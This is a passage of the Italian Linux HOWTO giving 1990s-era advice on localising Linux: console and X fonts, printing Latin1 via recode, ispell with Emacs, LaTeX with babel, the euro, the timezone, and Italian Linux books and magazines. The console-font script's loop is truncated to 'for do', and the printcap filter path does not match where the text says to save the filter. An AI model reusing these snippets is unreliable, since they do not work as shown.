  • Linux Danish/International HOWTO È stato il primo HOWTO che ha trattato il tema della nazionalizzazione di Linux, ed è tuttora un riferimento. A dispetto del nome è piú ``International'' che ``Danish'' visto che è in inglese...
  • Un giro per ftp://sunsite.unc.edu/pub/Linux/utils/nls è consigliato ai programmatori. In particolare consiglio la lettura del file locale-tutorial-0.8.txt.gz.
  • Come già detto, il sito ufficiale GNU dove potete trovare informazioni sulla localizzazione GNU e le definizioni di locale più aggiornate è ftp://dkuug.dk/i18n. In particolare se volete tentare l'installazione manuale delle definizioni di locale potete prendere il materiale che trovate a ftp://dkuug.dk/i18n/WG15-collection e, ovviamente, leggere attentamente la documentazione allegata o i succitati testi.
  • Maggiori informazioni sul formato dei Portable Object e sullo stato delle traduzioni possono essere trovate al sito ftp://alpha.gnu.ai.mit.edu/gnu/po/ oppure ftp://svpop.com.dist.unige.it:/pub/Linux/gnu/po che ne è un mirror.
  • Un URL mitico al riguardo, ottimo punto di partenza per ricerche sulla internazionalizzazione, è http://www.vlsivie.tuwien.ac.at/mike/i18n.html. Le pagine sono curate da Michael Gschwind, e sono una miniera di link per approfondire.


Linux Italian-HOWTO: Altre localizzazioni

 Next Previous Contents

4. Altre localizzazioni

Qui si vogliono trattare quelle localizzazioni che sono un po' piú hardware-dipendenti, meno standard e in particolar modo che riguardano i PC compatibili. Molto probabilmente molte di queste cose non si applicano alle altre piattaforme su cui gira Linux, ne chiedo venia. Ma o mi regalate un PPC, una Sparc, un Alpha, un A4000, un MAC, ... oppure se avete altre note per queste piattaforme da aggiungere fatemelo sapere. ;-)

4.1 Font in console

Linux permette di cambiare il font standard presente nella ROM della scheda video, in modo da avere il set di caratteri ISO-8859-1 completo a disposizione. La cosa può essere semplicemente ottenuta con uno script del genere, da eseguire al boot (in Debian basta copiarlo nella directory /etc/rc.boot e renderlo eseguibile):

        #!/bin/sh

        # qualche variabile...
        #
        # font Latin1 (ISO-8859-1)
        CONSOLE_FONT=lat1u-16.psf
        # mappa nulla
        CONSOLE_MAP=trivial

        if [ -x /usr/bin/setfont ]; then
                echo -n "Setting up ISO 8859-1 font"
                setfont /usr/share/consolefonts/$CONSOLE_FONT
                echo -n "."
                mapscrn /usr/share/consoletrans/$CONSOLE_MAP
                echo -n "."
                for do
                        echo -ne '\033(B' > /dev/tty$N
                done
                echo ". done."
        fi

Il primo comando carica un nuovo set di caratteri, il secondo permette di eseguire una traduzione ``al volo'' tra caratteri richiesti e voluti e il terzo rende attiva la nuova coppia tabella-tavola di traslazione in ogni console.

Ad esempio di default non viene caricata nessuna tabella e viene eseguita la traduzione da Latin1 (quello che Linux vuole) a CP437 (quello che il PC ha). Ovviamente le manpages di setfont(1) e mapscrn(1) sono utili letture.

Debian

Se si ha un sistema Debian 2.0 semplicemente il file /etc/kbd/config è il posto dove mettere la mappa dei caratteri ed il font da utilizzare: per l'italiano, la scelta giusta è:

        CONSOLE_FONT=lat1u-16.psf
        CONSOLE_MAP=trivial

(da Lorenzo Maria Catucci).

SVGATextMode

Ma c'è una soluzione piú elegante. Esiste un programma che si chiama SVGATextMode(8) che fa tutta una serie di operazioni sulla console testo molto simpatiche.

Permette di definire dimensioni ``non standard'' per la console (diverse da 80x25, insomma), permette di alzare la frequenza di refresh del video di modo da stancare meno gli occhi, gestisce chipset avanzati...

Ha un file di configurazione, /etc/TextConfig che ha una sintassi molto simile al file di configurazione di XFree e che permette in un sol colpo di definire il font da caricare. Ci penserà poi il programma stesso ad attivare il font e renderlo disponibile.

Basta modificare leggermente il file, facendo in modo che si presenti all'incirca come:

        [...]

        Option "LoadFont"
        FontProg "/usr/bin/setfont"
        FontPath "/usr/share/consolefonts"
        FontSelect "lat1u-16.psf"   8x16 9x16 8x15 9x15
        FontSelect "lat1u-14.psf"   8x14 9x14 8x13 9x13
        FontSelect "lat1u-12.psf"   8x12 9x12 8x11 9x11
        FontSelect "lat1u-08.psf"   8x8  9x8  8x7  9x7
        FontSelect "lat1u-08.psf"   8x32 9x32 8x31 9x31

        [...]

e si ottengono magicamente i caratteri Latin1, e molto di piú.

4.2 Font in X

Buona parte dei caratteri installati con X seguono lo standard Latin1, e idem i font PostScript normalmente reperibili (come quelli dell'ATM).

Inoltre sta facendo la sua comparsa il primo font server TrueType; I font TrueType sono organizzati secondo un set di caratteri che è un superset del Latin1 (MicroSoft chiaramente fa sempre di testa sua, e mette caratteri dove lo standard lo vieta esplicitamente...), e quindi non dovrebbero dare problemi neanche loro.

4.3 Stampante e DOS

Se stampate file DVI, PostScript o comunque in grafica, non ci sono problemi. Ci penserà il vostro programma per la stampa a convertire il vostro file nel formato matrice-di-punti più consono alla vostra stampante. Ma se volete stampare in puro testo, senza formattazioni? Resta, soprattutto per le stampanti ad aghi, il metodo più veloce. Ma quanto è standard il set ISO-8859-1?

ISO-8859-1 è il set di caratteri di Unix in generale, di Windows, Amiga, OS/2. Mancano all'appello il DOS e Macintosh. Ma in DOS la CP850 è in pratica il set Latin1, con i caratteri rimescolati un po' per essere compatibile verso il basso con la CP437. Sentitevi liberi quindi da qualsiasi ``sindrome da 8 bit'', e usate tranquillamente questo set di caratteri. Se dovete importare dei testi Linux in Macintosh, semplicemente usate il filtro per ``puro testo Windows'' o cose simili.

Se volete stampare puro testo con le accentate da Linux, a questo punto non vi resta che provare una delle soluzioni seguenti:

  • Se la vostra stampante supporta il set di caratteri ISO-8859-1, mettetela in quella modalità, e fatela finita una volta per tutte con le diatribe tra set di caratteri.
  • Se la vostra stampante supporta la CP819, siete a cavallo visto che ``CP819'' è il nome DOS del set di caratteri Latin1.
  • Se la stampante supporta la CP850, mettetela in quella modalità e cercate il programma recode(1). Si può usare come recode latin1:cp850 file dove file è il file da convertire, che viene sovrascritto. Per automatizzare la procedura si può anche installare come filtro per la stampa.
  • Se la stampante supporta solo CP437, o non volete/potete modificarla, non preoccupatevi, tanto comunque riuscite a stampare le cose ``normali'', come tutte le lettere accentate che trovate sulla tastiera e la lettera ``È'' (questo perché, come già detto CP850 e CP437 coincidono in corrispondenza di quei caratteri).

Chiaramente, per le ultime tre soluzioni, è il caso di utilizzare anche da DOS (se avete un sistema dual boot) la CP819 o in mancanza d'altro la CP850; per configurare la gestione del set di caratteri DOS, leggete le manpage, hem (la forza dell'abitudine! O;) il manuale dei comandi COUNTRY e MODE CON.

Inoltre se la confusione attorno alle sigle dei vari set di caratteri sale, potete anche leggere le man page ascii(7) e latin1(7).

Un esempio di filtro

Per avere automaticamente la conversione, si può utilizzare questo filtro:

        #!/bin/sh
        if /usr/local/bin/recode latin1:cp850
        then
                exit 0
        else
                exit -1
        fi

potete salvare questo filtro come /usr/local/bin/iso2850 e poi dargli i permessi di esecuzione (chmod ugo+x /usr/local/bin/iso2850). ora non vi resta che aggiungere nel file di configurazione delle stampanti /etc/printcap:

        # esempio di filtro, sostituire ``lp2'' con il device corretto
        # i file log e acct vanno creati se utilizzati, nei contesti
        # normali non serve sapere chi usa e quante pagine stampa ogni
        # utente! ;)
        #
        cp850|dos:\
        :lp=/dev/lp2:\
        :sd=/var/spool/lp2:\
        :lf=/var/spool/lp2/log:\
        :af=/var/spool/lp2/acct:\
        :if=/var/local/bin/iso2850:\
        :sh:

Ora, se la stampante è impostata per usare la codepage 850, basta un bel lpr -Pcp850 nomefile per stampare un file latin1 con tutte le accentate al loro posto.

4.4 libpaper

Libpaper è una piccola libreria e un programmino che dovrebbe ``standardizzare'' la gestione dei formati di carta sotto linux. In pratica fornisce delle funzioni da linkare al proprio programma che permettono di usare delle informazioni sul formato di carta centralizzate (prese da /etc/papersize o dalla variabile d'ambiente PAPERSIZE.

In Debian è installata di default e gs la usa. Potrebbe essere una cosa utile, e va incentivata.

Maggiori informazioni le potete trovare alla manpage di paperconf(1), ovviamente se avete libpaper installata nel vostro sistema.

4.5 Per maggiori informazioni

  • Tocca ripetermi, e citare nuovamente le pagine di Michael Gschwind, ovvero http://www.vlsivie.tuwien.ac.at/mike/i18n.html.


Linux Italian-HOWTO: Ispell

 Next Previous Contents

5. Ispell

Esiste un vocabolario italiano per ispell(1) che trovate all'URL ftp://ftp.pluto.linux.it/pub/pluto/ildp/ispell/. Anche se non è ancora perfetto, è già più che funzionante e può essere tranquillamente usato.

Nella distribuzione Debian è già presente il pacchetto iitalian che installa e configura correttamente il vocabolario, pronto all'uso.

Se vuoi collaborare a migliorare il vocabolario o la tavola degli affissi (per sapere cos'è man 5 ispell), esiste una mailing list (che scherzosamente chiamo IspellIT!), che coordina gli sforzi. Trovi maggiori informazioni nella sezione dedicata alle liste.

5.1 Ispell e Emacs

Per forzare il riconoscimento del nuovo vocabolario in emacs, occorre aggiungere questo nel proprio ~/.emacs

        (setq ispell-dictionary-alist
                (append ispell-dictionary-alist
                `(,(list
                  "italiano"
                  "[A-Za-z]"
                  "[^A-Za-z]"
                  "[---']" t nil "~list"))))

dopodichè, M-x ispell-change-dictionary Invio Spazio ti mostra un completion buffer che contiene la magica parola, ``italiano'' (da Giacomo Boffi).

Questo però non è perfetto nel senso che ho idea che Emacs legga prima il ~/.emacs e poi crei i menú; infatti la voce aggiunta appare in testa al sotto menú e non alla fine come vorrei io. Secondo me piú robusta sarebbe la soluzione di far modificare l'ispell-mode.el per fargli aggiungere anche l'italiano fra le lingue supportate (da Giovanni Bortolozzo).

5.2 Per maggiori informazioni

  • Responsabile del progetto IspellIT! è Sandro Dentella ( sandro@crcc.it), puoi contattare lui per ulteriori informazioni.
  • Sembra che qualcun altro si stia divertendo con vocabolari e tabelle degli affissi, infatti c'è un secondo vocabolario sulla cui qualità però non mi sbilancio, non conoscendolo. È possibile recuperarlo all'URL http://www.mrg.dist.unige.it/~marco/ispell.html.
  • Inoltre anche un giretto per la Ispell Home Page non è una cattiva idea.


Linux Italian-HOWTO: TeX

 Next Previous Contents

6. TeX

TeX non è una applicazione specifica per Linux, anzi, forse è una delle applicazioni utilizzabili nel maggior numero di sistemi... ma d'altro canto TeX è una delle applicazioni piú usate, e ho quindi ritenuto argomento ``critico'' il produrre documenti TeX correttamente localizzati.

6.1 Un po' di teoria...

Il TeX è in pratica un linguaggio di programmazione. Scritto un file in un determinato formato, si può compilare e quello che si ottiene è un file ``oggetto'', ovvero un file intermedio, in un formato detto DVI, ovvero DeVice Indipendent format, da cui si ottiene un file in linguaggio per le stampanti, di solito un file PostScript.

TeX è un ottimo programma per l'impaginazione di libri. La sua nascita nel grande mondo del free software lo ha velocemente indirizzato verso le pubblicazioni tecniche, scientifiche ma anche quelle multilingue. Inoltre permette una potente gestione degli indici e dei riferimenti, nonchè estensioni per la gestione dei riferimenti bibliografici.

Un file sorgente di TeX è un file testo (come tutti i linguaggi di programmazione) con delle istruzioni aggiuntive (che iniziano per ``\'') che spiegano al programma come organizzare l'output.

Come tutti i buoni compilatori, piano piano è stato dotato di librerie, chiamate package che ne estendono le funzionalità. Le più note sono il LaTeX, che definisce un insieme di stili tipografici per fare libri, articoli e lettere, con tutti gli elementi importanti di questi stili (titoli per libri e articoli, indirizzi per le lettere) già predefiniti e pronti all'uso. Esistono poi parecchie estensioni al LaTeX, le principali sono l'AMSLaTeX, che permette di ampliare di molto la già completa gestione di equazioni matematiche del TeX (per la cronaca, quasi tutti i libri di matematica in commercio sono fatti in TeX) e Babel, che definisce la gestione di diverse lingue, anche contemporaneamente sullo stesso documento.

Come per Linux stesso, di TeX ce n'è uno solo, ma visto che ha bisogno comunque di librerie di font, programmi accessori... di distribuzioni ce ne sono tante. Si prende in considerazione qui la distribuzione teTeX.

Il formato del file

Un file TeX è composto da un preambolo che definisce lo ``stile'' con cui è impaginato il testo e da un corpo, che comprende sia il testo che le formattazioni. Il corpo è quello che va dal comando \begin{document} al comando \end{document}, quello che c'è sopra è il preambolo, mentre quello che c'è dopo viene ignorato.

Nel preambolo vengono definite:

Classe

(o Stile, in LaTeX2.09) Definisce lo stile del documento, ovvero se deve essere un libro (book), lettera (letter), articolo (article), ...

Opzioni

definisce sia le opzioni interne, ovvero quelle delle varie classi (dimensione dei caratteri in punti, dimensione della carta, ...), sia i pacchetti (package) o stili aggiuntivi esterni, come il Babel stesso e il supporto per le accentate.

Altro

altre cose fanno parte del preambolo, come definizioni aggiuntive e strutture particolari, ma che ai fini del nostro studio sono inessenziali.

La definizione è quindi del tipo:

        % Questo è il preambolo

        % Questa è la definizione della classe e le sue opzioni
        \documentclass[opz1, opz2, ...]{classe}

        % Questo è il caricamento dei pacchetti e le loro opzioni
        \usepackage[opz1, opz2, ...]{pacchetto1}
        \usepackage[opz1, opz2, ...]{pacchetto2}
                .
                .
                .

        % Qui inizia il testo
        \begin{document}

        [...]

        \end{document}

Si vede come nel LaTeX2e ci sia separazione logica tra le opzioni dello stile, o classe, e dei pacchetti aggiuntivi, cosa preferibile visto il proliferare di nuovi pacchetti e estensioni.

6.2 L'installazione TeX di Linux

Tutta l'installazione del TeX di Linux si trova in /usr/lib/texmf e subdirectory.

Configurazione di teTeX

Per la configurazione di teTeX è sufficiente eseguire il programma di utilità texconfig(1). Le voci da (eventualmente) modificare sono:

HYPEN

permette di modificare le tabelle di sillabazione attive: selezionata questa opzione si entra automaticamente in un editor (di solito vi(1)) ed occorre ``scommentare'' (eliminare il carattere di commento ``%'') di fronte alla riga italian ithyph.tex; dopo aver salvato il file ed essere usciti (con [Esc] [:] [w] [q] [Invio] se si tratta di vi) vengono automaticamente rigenerati i file di formato.

MODE

permette di scegliere la configurazione per la propria stampante: ATTENZIONE che questo non configura la stampa vera e propria, ma solo il modo di default con il quale vengono generati i font da dvips; quindi scegliete come valore la risoluzione maggiore che riuscite ad ottenere dalla vostra stampante o da tutte le stampanti che usate con il vostro computer

XDVI

permette di scegliere la dimensione di carta di default e fare delle prove di stampa e di resa; è sufficiente scegliere l'opzione ``a4''

DVIPS

permette di definire anche qui il formato della pagina, gli offset sulla pagina stessa (zone di non stampabilità), il modo e la stampante di default; permette di fare la stesa operazione per un certo numero di stampanti addizionali

Alla fine di questa semplice operazione avrete la vostra installazione di TeX perfettamente funzionante.

Configurazione delle altre distribuzioni di TeX

Per le altre distribuzioni di TeX presenti nelle vecchie distribuzioni di Linux occorre al contrario del teTeX, editare e ricompilare a mano i file di formato (piú o meno ;). Non è una operazione semplice, troverete maggiori informazioni presso la documentazione allegata alla vostra distribuzione di TeX.

NTeX

Una nota è da fare sulla distribuzione NTeX, che dalla versione 2.X.X e successive (non quindi quella contenuta nelle vecchie slackware...) contiene un programma di configurazione basato su una bella interfaccia grafica in Tcl-Tk. All'uscita dall'interfaccia grafica si ha un sistema TeX perfettamente funzionante e configurato, sillabazione compresa.

C'è da dire che le distribuzioni non usano più NTeX, probabilmente perché NTeX è cresciuta oltre modo (più di 160 MB, senza supporto per il giapponese!). Il riassunto è che, almeno fino all'uscita di teTeX 1.0 (che non ho idea come sarà strutturato), NTeX rappresenta una alternativa per esperti, che hanno bisogno di supporto per lingue poco diffuse od oscure (da Stefano Miccoli).

teTeX di Slackware 3.3

Attenzione che il teTeX fornito con la Slack 3.3 ha un'imprecisione: nel file italian.ldf di Babel devi definire a mano la traduzione per la parola ``Dimostrazione'' che è lasciata all'inglese ``Proof'' (se ti serve l'ambiente proof nei tuoi documenti) (da Enrico Cavalli).

La sindrome di Zio Paperone

La tabella di sillabazione italiana presente nelle distribuzioni diverse da teTeX può essere vecchia o sbagliata. Cercate nelle sottodirectory di /usr/lib/texmf il file hyphen.italian o ithyph.tex. Se è già presente, controllate (è un file di testo, usate pure less(1)!!!) che NON sia la tabella di sillabazione di G. Patergnani. Questa soffre di quella che io scherzosamente chiamo ``sindrome di Zio Paperone'', ovvero tende a mandare a capo malamente i suoi nipoti (qu-i, qu-o, qu-a).

Altrimenti, se la tabella non esiste o è quella del Patergnani, prendete il file aggiornati dai siti CTAN, uno per tutti ftp://ftp.dante.de/.

6.3 Produzione di elaborati TeX ben localizzati

Ora, dopo tutte queste disquisizioni, abbiamo capito che c'è bisogno di:

A4

Ovvero per stampare decentemente sulla nostra stampante.

InputEnc

Ovvero il supporto per le lettere accentate direttamente all'interno del file LaTeX, per evitare di ricorrere a pesanti sequenze di comandi.

Babel

Per il supporto della sillabazione italiana e di altre cose simpatiche senza stravolgere completamente la configurazione del TeX.

Stampa di testi in inglese

Piacerebbe avere l'opzione della dimensione del foglio A4 definita direttamente a livello di TeX, visto che è il nostro standard. Questa operazione, anche se possibile, è sconsigliata. In TeX la formattazione di certi documenti dipende fortemente da margini e dimensione della carta. Cambiare uno di questi parametri senza rivedere il layout del documento potrebbe portare a delle emerite schifezze (figure sovrapposte, ...). Quindi, se vogliamo stampare dei testi in inglese, dobbiamo reperire i sorgenti in TeX, editare il file, aggiungendo nel preambolo l'opzione:

        \documentclass[opz1,opz2,...,a4paper]{classe}

e magari controllare con un previewer come ghostview, prima di stampare, che l'output sia accettabile.

Composizione di testi in italiano

Se invece stiamo costruendo un nuovo testo, e vogliamo che tutto funzioni alla perfezione, è sufficiente che il preambolo sia del tipo:

        \documentclass[opt1,opt2,...,italian,a4paper]{classe}
        \usepackage{babel}
        \usepackage[latin1]{inputenc}

È bene mettere l'opzione ``italian'' come globale, visto che potrebbe essere utilizzata da altri pacchetti.

Inoltre per un maggiore ordine nella sillabazione, e molti altri buoni motivi (tra cui le guiellmots «») è bene adoperare anche un:

        \usepackage[T1]{fontenc}

che permette di utilizzare i nuovi font ``ec'' in luogo dei vecchi ``cm'' di Knuth (da Lorenzo Maria Catucci).

6.4 Per maggiori informazioni

Se avete intenzione di stampare semplicemente dei file TeX, queste conoscenze sono sufficienti.

Ulteriori informazioni possono essere reperite nella (nutrita!) documentazione che viene allegata alla distribuzione teTeX, e che potete trovare nella directory /usr/lib/texmf/doc oppure facendo riferimento al teTeX HOWTO, anche in versione italiana.

Se invece avete intenzione di proseguire nella conoscenza del TeX, sono consigliabili, in particolare, i libri:

  • Donald Knuth, The TeXbook, Addison-Wesley, 1992
  • Leslie Lamport, LaTeX User's Guide and Reference Manual, Addison-Wesley, 1994
  • Helmut Kopka, Patrick Daly, LaTeX Guide, Addison-Wesley, 1994
  • AMS-LaTeX Version 1.1 User Guide, American Mathematical Society, 1991
  • Norman Walsh, Making TeX Work, O'Reilly & Associates
  • Tobias Oetiker, The not so short Introduction to LaTeX2e (or LaTeX2e in 69 minutes) ovvero il file /usr/lib/texmf/doc/latex/general/lshort2e.dvi, da cui si impara piú che dal Lamport, risparmiando giorni di studio (da Lorenzo Maria Catucci).

E in particolare in italiano...

  • Gianni Gilardi, Il TeX, Introduzione al linguaggio e complementi avanzati, Zanichelli/Decibel
  • Claudio Beccari, LaTeX, Guida ad un sistema di editoria elettronica, Hoepli Milano
  • Marc Baudoin, Impara LaTeX!, http://yamaha.cefriel.it:8080/~cannarsi/documents.html Si tratta di una traduzione di ``Apprends LaTeX!'', realizzato da Marc Baudoin e in uso in numerose scuole francesi nonchè in vari laboratori di ricerca. Ha il pregio, oltre all'essere di libero dominio e in italiano, di permettere un apprendimento molto rapido di Latex e cominciare da subito a scrivere i propri documenti, come l'autore ed io abbiamo avuto modo di constatare dal 94 (prima versione) ad oggi presso l'Ecole nationale superieure de techniques avancees. È anche possibile scaricare la versione PostScript al sito: ftp://ftp.pluto.linux.it/pub/ildp/misc/impara_latex/.
  • Davide G. M. Salvetti, TEX.ITA FAQ, http://space.tin.it/io/dsalvett/TeX-FAQ/TeX-FAQ.html Sono le FAQ dell'area UNIX.ITA di rete FidoNet, una ottima FAQ e un buon punto per iniziare successive ricerche.
  • Esiste anche questo link, http://www.fi.infn.it/pub/tex/doc/html/latex.html, anche se non ho avuto modo di vederlo e valutarne la qualità.


Linux Italian-HOWTO: Siamo in Europa, bellezza!

 Next Previous Contents

7. Siamo in Europa, bellezza!

Il che comporta che a breve dovremmo ``scalciare'' via dalla tastiera e dai nostri font alcune simboli per fare spazio ai nuovi arrivati (il simbolo dell'euro e dei centesimi di euro, in particolare).

Già che c'erano, sembra si stiano mettendo d'accordo (a livello di ISO, International Standard Organization) per fare un unico font che vada bene a tutte le nazioni europee, comprese quelle che dovrebbero entrare a breve. Si vocifera di un nuovo font ISO-8859-15 (soprannominato Latin0), e quindi è probabile che tra un po' toccherà cambiare tutto...

Ma noi aspettiamo fiduciosi! ;)

7.1 Per maggiori informazioni

Questa sezione dovrebbe espandersi sempre piú, nei prossimi anni; per ora non mi sbilancio e lascio solo dei riferimenti ad altri documenti.

  • Si possono trovare informazioni sul nuovo font ``europeo'' all'URL http://www.iso.ch/cate/d29505.html.
  • Altre informazioni sui set di caratteri e affini possono essere recuperate all'URL http://czyborra.com/charsets.
  • Per il TeX appaiono i primi font con il simbolo, basta dare una occhiata a ftp://ftp.dante.de/tex-archive/fonts/euro.


Linux Italian-HOWTO: TimeZone

 Next Previous Contents

8. TimeZone

La TimeZone, ovvero il fuso orario corretto per l'Italia è GMT-1 d'inverno e GMT-2 d'estate, ovvero GMT-1 per l'ora solare e GMT-2 per l'ora legale. Oppure MET o CET (Middle o Central Europe Time), che in aggiunta fanno anche il passaggio automatico ora legale/ora solare. Notare che MET è il vecchio nome caduto in disuso, e non dovrebbe essere usato.

Ogni distribuzione ha il suo programmino per definire la timezone in maniera automatica. In Debian solitamente viene chiesto in fase di installazione, e non si può sbagliare (l'unica opzione utilizzabile è Europe/Rome, evidentemente, e per fortuna, in Debian sono impermeabili alle ultime mode secessioniste ;).

Di solito negli ambienti UNIX si preferisce impostare l'ora del CMOS a GMT e quindi avvisare clock(1) di questo con l'opzione ``-u ''; questo però di solito entra in conflitto con la gestione dell'ora di Windows, che invece insiste a modificare brutalmente l'ora CMOS.

Vedete voi cosa è meglio fare, Debian in fase di installazione chiede quale delle due modalità usare di default e configura di conseguenza. Come sempre man clock per saperne di piú.

8.1 Q: ma perché Linux mi ha sbagliato il passaggio di fuso?!

Faccio notare che nel '96 sono cambiate le regole per la determinazione del passaggio ora legale/ora solare. Le nuove regole dovrebbero essere presenti nelle nuove distribuzioni, o comunque reperibili in rete.

8.2 Q: ma perché ho l'ora impostata a CEST?

Perché è estate, CEST sta per ``Central Europe Summer Time''. O meglio, è in vigore l'ora legale, ma è piú bello pensare all'estate!


Linux Italian-HOWTO: Documentazione

 Next Previous Contents

9. Documentazione

9.1 Pubblicazioni offline (su carta... ;)

Questa vuole essere una piccola bibliografia per chi inizia a conoscere Linux.

Per l'utente medio sono più che sufficienti i testi liberamente reperibili in rete, come i libri del LDP e gli HOWTO. Per un utente più attento può essere utile un approfondimento, anche perché buona parte degli argomenti su Linux riguardano UNIX in generale, come l'amministrazione di sistema, la gestione di una rete e via dicendo.

Ho rimosso la bibliografia in inglese, questo perché la sentivo poco consona a questo HOWTO; e poi oramai non è cosí difficile trovare un buon testo su UNIX/Linux in Italiano. Se siete alla caccia di una buona bibliografia su UNIX potete dare una occhiatina alla FAQ dell'area di discussione di FidoNet UNIX.ITA nel sito http://www.fidoitalia.net/echo/faq/unix/indice.htm, oppure se cercate riferimenti a tutti i libri su Linux potete dare una occhiata anche a http://www.psci.net/~dbklem/books.html o anche a http://shell.nanospace.com/~markst/linux/.

Difficile fare invece un ``censimento'' di tutto il materiale reperibile in rete. Ho cercato, soprattutto, di mettere le fonti di informazioni più importanti, o quelle più vicine a noi.

Questo elenco non aspira a essere completo, tutt'altro. Come sempre sono felicissimo di ricevere suggerimenti, correzioni e aggiunte.

Libri

  • D. A. Tauber, Guida a Linux, McGraw-Hill Italia, ISBN: 88-386-3406-8. Contiene un CD-ROM.
  • Giuseppe Zanetti, LINUX - il sistema operativo free software per personal computer 386/486, edizioni Libreria Progetto, Padova, 1996. Poco più di 300 pagine, simpatica copertina a colori col logo di Linux creato da Rohde-Hass. Se volete contattare l'autore, scrivete a beppe@freddy.iperv.it. Ne è uscita una nuova versione che ho solo visto di sfuggita, ma che è visibilmente piú grossa della precedente; infatti è stato aggiunto un corposo capitolo sul TCP/IP.
  • Luca Righi, LINUX, Jackson, 1996. Contiene un CD-ROM.
  • Naba Barkakati, I segreti di Linux, Apogeo, 1996, 800 pp., ISBN: 88-7303-191-9. Contiene un CD-ROM con Linux Slackware 3.0 e altre utility.
  • Richard Petersen, Guida completa a Linux, McGraw Hill, 1996, 721 pp. È una guida completa completa! In allegato CD-ROM con distribuzione RedHat e Caldera Network Desktop. ;-) (da Daniele Sanna)
  • Baffa, Calculli, Internet: manuale avanzato. Un buon libro che, a dispetto del titolo, parla quasi solo di Linux, e include un CD-ROM con la distribuzione Slakware. (da Gianni Comoretto)
  • Olaf Kirch, Linux guida per l'amministratore di rete, Jackson Libri. É la traduzione del libro O. Kirch, Linux Network Administrator's Guide, O'Reilly & Associates. Eccezionale. (da Ermenegildo Colpo)
  • M.Welsh, L.Kaufman, Il Manuale di Linux, Jackson Libri. Traduzione del ``Running Linux'' di Welsh-Kaufman (da S. Crespi Reghizzi)
  • Progetto ILDP, Linux HowTo, Apogeo, 1996, pp 960, ISBN 88-7303-317-2. I piu' importanti Howto di Linux interamente in italiano, tradotti (buona parte) e revisionati (tutti) dal gruppo Pluto.
  • David Pitts, RedHat Tutto e Oltre, Apogeo e SAMS Publishing. Il libro fornisce informazioni su tutto ciò che è il pacchetto Linux e suoi svariati utilizzi, trattando dettagliatamente tutto ciò che riguarda la reti ed internet in particolare. Consigliato a chi si avvicina a Linux per la prima volta, ed anche ai più esperti, per la precisione e la completezza con cui vengono trattati i vari argomenti, a mio giudizio un ottimo manuale di riferimento. Il linguaggio è di facile comprensione, aiutato da esempi e parti di codice ben spiegate (da Osvaldo Tulini).
  • Witherspoon, Hall, Linux For Dummies, Apogeo. Linux For Dummies è al contrario un ottimo testo che spiega, in termini semplici e con un ``piglio'' tipicamente da bigino (chi non ne ha mai usato uno a scuola?), tutto quello che c'è da sapere per far funzionare il sistema operativo in maniera decente. L'utente inesperto, che grazie a quel libro riuscirà a muoversi da solo nel sistema operativo, potrà poi approfondire gli argomenti più delicati (da Paolo Besser).
  • Linux For Dummies - Espresso, Apogeo. Veloce prontuario per le operazioni piú semplice e frequenti (da Fabio).

Riviste

Sono ormai molte le riviste di informatica che hanno una rubrica fissa su Linux o che distribuiscono dei CD con materiale Linux; molto spesso è il metodo piú semplice per venire in possesso di un CD con Linux.

Non sono abbonato a nessuna di queste riviste, quindi le informazioni che sono qui presenti sono, per forza, approssimative; ricevo volentieri, quindi, integrazioni.

  • Dev, Infomedia. Ha una rubrica fissa o comunque pubblica in ogni numero articoli su Linux, oltre a CD (da Marco d'Itri).
  • Login, Infomedia. La rivista esiste da circa due anni e mezzo, e ogni anno pubblicano 3 cd, di cui uno è sempre dedicato ad una distribuzione Linux (da Marco Marongiu).
  • Computer Programming, Infomedia. Spesso sono presenti articoli che trattano problemi di programmazione sotto Linux/UNIX.
  • MC MicroComputer, Technimedia. Da sempre ha avuto ``l'AngoLinux'', ora la rubrica è stata ampliata (da Dario Burnelli).
  • Computer Shopper. È in edicola una nuova rivista (COMPUTER SHOPPER, in italiano) nella quale scrivo ogni mese una rubrica tutta per Linux (dovrebbe partire da zero con l'installazione per trattare via via argomenti piú tecnici). Se qualcuno l'ha avuta tra le mani, sappia che sono sempre interessato a ricevere commenti e soprattutto critiche sui pezzi (da Ubi, ubi@srd.it).
  • Inter.Net. Pubblica spesso CD con distribuzioni Linux e altre cose che è un po' difficile reperire altrimenti.
  • IoProgrammo. Idem a sopra, ogni tanto pubblica CD con materiale Linux.
  • PC Inter@ctive, Mondadori Informatica. Abbiamo iniziato a dedicare uno spazio fisso a Linux sul nostro giornale: un esperimento, vediamo un po' le reazioni dei lettori (da Marco Mazzei).
  • PC Action, Xenia On Line. Scrivo sulle riviste del gruppo Xenia Edizioni da molti anni ormai e, dopo mesi di trattative e rimandi, sono finalmente riuscito ad ``accaparrarmi'' un po' di spazio su PC ACTION e sul relativo CD da dedicare a Linux. Ogni suggerimento è ovviamente ben accetto, mandatemelo per favore alla casella di posta personale paolone@besser.it (da Paolo Besser).

9.2 Pubblicazioni online

All'inizio c'era il nulla. Poi pian piano, i volenterosi, hanno cominciato a pubblicare delle FAQ (ovvero a raccogliere le domande fatte più spesso in modo che non siano più poste...). Da questo stadio poi è partito un vero e proprio ``progetto editoriale'' su Linux.

Ora, dopo parecchi anni, il ``panorama'' editoriale online su Linux è ricco e ben organizzato; punto di riferimento è LDP, ovvero Linux Documentation Project, il progetto internazionale di documentazione su Linux che ha realizzato un grande numero di documenti, dai veloci mini-HOWTO, ai seri HOWTO, fino a veri e propri libri come le guide. Tutto il materiale LDP è liberamente reperibile in rete. Il sito madre, come per molto altro materiale Linux, è sunsite. Più precisamente il materiale è disponibile in versione HTML online all'indirizzo http://sunsite.unc.edu/LDP/, e negli altri formati all'url ftp://sunsite.unc.edu/pub/Linux/docs/. Molti siti, anche italiani, fanno il mirror di sunsite; ne trovate alcuni in fondo a questo HOWTO.

Italian Linux Documentation Project

Con molta fantasia si chiama ILDP, ovvero Italian Linux Documentation Project il progetto, lanciato dal gruppo Pluto, di tradurre gli HOWTO. Partiti da questa idea iniziale, si è poi fatto molto di piú arrivando a tradurre le guide e perfino a creare dal nulla ottima documentazione.

  • Sono stati tradotti un buon numero di HOWTO e ormai si è nella fase di ``mantenimento'' del materiale tradotto. Il progetto ILDP comunque cerca volontari per tradurre e mantenere aggiornati gli HOWTO. Se vuoi collaborare, contatta il coordinatore Giovanni Bortolozzo ( borto@pluto.linux.it).
  • Sono state tradotte una quantità consistente di manpage, e anche qui si è ormai nella fase di mantenimento, almeno per quanto riguarda le sezioni ``critiche'' (1, user commands). Anche qui se vuoi collaborare contatta Alessandro Rubini ( rubini@pop.systemy.it).
  • Sono state tradotte la Guida dell'Utente e si sta lavorando sulle altre guide, che trovate su http://www.pluto.linux.it/ildp/guide.
  • È stata creato ex-novo AppuntiLinux.

